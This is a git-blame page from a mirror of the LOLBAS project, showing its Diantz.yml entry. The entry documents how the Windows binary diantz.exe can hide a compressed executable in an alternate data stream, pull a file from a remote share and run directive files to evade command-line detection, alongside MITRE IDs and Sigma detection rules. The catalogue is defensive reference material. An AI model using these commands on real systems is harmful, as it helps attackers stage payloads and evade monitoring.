public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-01-01 01:27:53 +01:00
Code Issues Projects Releases Wiki Activity
bfa71cc57e
LOLBAS/yml/OSBinaries/Diantz.yml

52 lines
2.3 KiB
YAML
Raw Normal View History

Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
---
Update and rename diantz.yml to Diantz.yml
2020-08-24 09:46:09 +02:00
Name: Diantz.exe
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
Description: Binary that package existing files into a cabinet (.cab) file
Add Diantz directives/DDF entry to diantz.exe (#390) Co-authored-by: Wietze <wietze@users.noreply.github.com>
2024-08-17 23:02:55 +02:00
Author: Tamir Yehuda
Standardise date formats (see https://yaml.org/type/timestamp.html)
2021-01-10 16:04:52 +01:00
Created: 2020-08-08
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
Commands:
- Command: diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
Description: Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
Standardise date formats (see https://yaml.org/type/timestamp.html)
2021-01-10 16:04:52 +01:00
Usecase: Hide data compressed into an Alternate Data Stream.
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
Category: ADS
Privileges: User
MITRE ATT&CK realignment sprint
2021-11-05 19:58:26 +01:00
MitreID: T1564.004
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
Adding tags (closes #9, #318) (#362) * Adding various tags as a first iteration * Adding quotes * Adding 'Custom Format' properly * Updating to key:value pairs * Update template
2024-04-03 17:53:36 +02:00
Tags:
- Type: Compression
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
- Command: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Description: Download and compress a remote file and store it in a cab file on local machine.
Standardise date formats (see https://yaml.org/type/timestamp.html)
2021-01-10 16:04:52 +01:00
Usecase: Download and compress into a cab file.
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
Category: Download
Privileges: User
MitreID: T1105
Fixed the OS versions on Diantz
2020-09-03 10:28:49 +02:00
OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Adding tags (closes #9, #318) (#362) * Adding various tags as a first iteration * Adding quotes * Adding 'Custom Format' properly * Updating to key:value pairs * Update template
2024-04-03 17:53:36 +02:00
Tags:
- Type: Compression
Add Diantz directives/DDF entry to diantz.exe (#390) Co-authored-by: Wietze <wietze@users.noreply.github.com>
2024-08-17 23:02:55 +02:00
- Command: diantz /f directives.ddf
Description: Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
Usecase: Bypass command-line based detections
Category: Execute
Privileges: User
MitreID: T1036
OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Tags:
- Type: Compression
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
Full_Path:
- Path: c:\windows\system32\diantz.exe
- Path: c:\windows\syswow64\diantz.exe
Standardise date formats (see https://yaml.org/type/timestamp.html)
2021-01-10 16:04:52 +01:00
Code_Sample:
- Code:
Detection:
Update old sigma link (#303) * Update SigmaHQ ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHQ ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHq ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHq ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> --------- Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>
2023-10-18 17:30:34 +02:00
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
- IOC: diantz storing data into alternate data streams.
- IOC: diantz getting a file from a remote machine or the internet.
Resources:
- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz
Add Diantz directives/DDF entry to diantz.exe (#390) Co-authored-by: Wietze <wietze@users.noreply.github.com>
2024-08-17 23:02:55 +02:00
- Link: https://ss64.com/nt/makecab-directives.html
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
Acknowledgement:
- Person: Tamir Yehuda
Update and rename diantz.yml to Diantz.yml
2020-08-24 09:46:09 +02:00
Handle: '@tim8288'
Create diantz.yml use daintz.exe to download and compress a binary file from a remote server\internet or use it to store file in Alternate data stream.
2020-08-08 14:09:53 +02:00
- Person: Hai Vaknin
Update and rename diantz.yml to Diantz.yml
2020-08-24 09:46:09 +02:00
Handle: '@vakninhai'
Reference in New Issue Copy Permalink